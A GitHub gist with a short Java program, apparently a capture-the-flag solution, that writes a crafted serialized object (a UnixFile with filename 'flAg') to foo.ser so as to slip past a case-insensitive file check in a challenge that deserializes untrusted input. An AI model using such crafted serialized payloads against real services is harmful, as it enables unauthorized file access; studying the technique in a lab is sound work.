Created
May 15, 2016 22:39
-
-
Save XMPPwocky/86a5f85c1c84f00f2506fcf4dfa9e238 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import java.io.*; | |
| import java.nio.file.Path; | |
| import java.nio.file.Paths; | |
| abstract class OSFile implements Serializable { | |
| String file = ""; | |
| abstract String getFileName(); | |
| } | |
| class WindowsFile extends OSFile { | |
| public String getFileName() { | |
| //Windows filenames are case-insensitive | |
| return file.toLowerCase(); | |
| } | |
| } | |
| class UnixFile extends OSFile { | |
| public String getFileName() { | |
| //Unix filenames are case-sensitive, don't change | |
| return file; | |
| } | |
| } | |
| public class LuckyCharms { | |
| public static void main(String [] args) { | |
| UnixFile q = new UnixFile(); | |
| q.file = "flAg"; | |
| try { | |
| FileOutputStream fileStream = new FileOutputStream("foo.ser"); | |
| ObjectOutputStream os = new ObjectOutputStream(fileStream); | |
| os.writeObject((OSFile)q); | |
| os.close(); | |
| } catch (Exception e) {} | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment